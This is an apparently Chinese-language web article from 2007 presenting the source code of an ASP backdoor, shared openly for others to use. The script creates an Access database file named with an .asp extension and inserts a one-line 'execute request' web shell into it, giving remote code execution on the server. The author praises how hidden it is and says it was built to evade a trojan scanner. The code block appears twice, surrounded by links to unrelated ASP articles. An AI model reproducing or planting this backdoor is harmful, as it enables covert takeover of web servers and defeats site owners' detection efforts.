新型ASP后門源代碼分析
更新時間:2007年01月16日 00:00:00 作者:
本是為了逃LAKER2兄 查ASP木馬程序的
現(xiàn)在已經(jīng)挑戰(zhàn)成功,已經(jīng)加為檢查對象了。公布出代碼給冰點的朋友使使,希望大家喜歡!
利用的是ADOX.Catalog組件
新建一個名稱為netpatch.asp的空數(shù)據(jù)庫文件
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用!
優(yōu)點,比較隱蔽,不容易讓人看出這是什么作用的!
現(xiàn)在已經(jīng)挑戰(zhàn)成功,已經(jīng)加為檢查對象了。公布出代碼給冰點的朋友使使,希望大家喜歡!
利用的是ADOX.Catalog組件
復(fù)制代碼 代碼如下:
<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 創(chuàng)建成功<br> "
else
Response.Write "創(chuàng)建失敗,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話后門 execute request(“n”))
rs.update
%>
此腳本主要是利用ADOX.Catalog組件 'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 創(chuàng)建成功<br> "
else
Response.Write "創(chuàng)建失敗,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注釋記得去掉!一句話后門 execute request(“n”))
rs.update
%>
新建一個名稱為netpatch.asp的空數(shù)據(jù)庫文件
然后把一句話木馬插入新建的表中作為C/S版本的ASP馬用!
優(yōu)點,比較隱蔽,不容易讓人看出這是什么作用的!
您可能感興趣的文章:
- FreeTextBox 中文版下載[含源代碼] of asp.net
- 解密ASP源代碼
- Ajax+Asp源代碼]讀取數(shù)據(jù)庫內(nèi)容的表格(沒有用框架)
- ASP生成柱型體,折線圖,餅圖源代碼
- asp實現(xiàn)的7xi音樂網(wǎng)的采集源代碼
- asp.net下中文驗證碼,免費開源代碼
- AspNetPager分頁控件源代碼(Version 4.2)
- 國內(nèi)首款同時支持自定義404/505/rewrite的asp服務(wù)器(netbox制作,開放源代碼)
- ASP生成柱型體,折線圖,餅圖源代碼提供了
- asp.net 需要登陸的網(wǎng)站上下載網(wǎng)頁源代碼和文件
- ASP常用源代碼的總結(jié)(上)
相關(guān)文章
在MsSql、Access兩種數(shù)據(jù)庫中插入記錄后馬上得到自動編號的ID值
在MsSql、Access兩種數(shù)據(jù)庫中插入記錄后馬上得到自動編號的ID值...2006-07-07有效防止ASP木馬上傳運行—小知識[網(wǎng)絡(luò)安全技術(shù)]
前使用IIS服務(wù)器的站長很多,特別是對于ASP網(wǎng)站來說,防止ASP木馬成了網(wǎng)站安全最關(guān)鍵的內(nèi)容。2010-08-08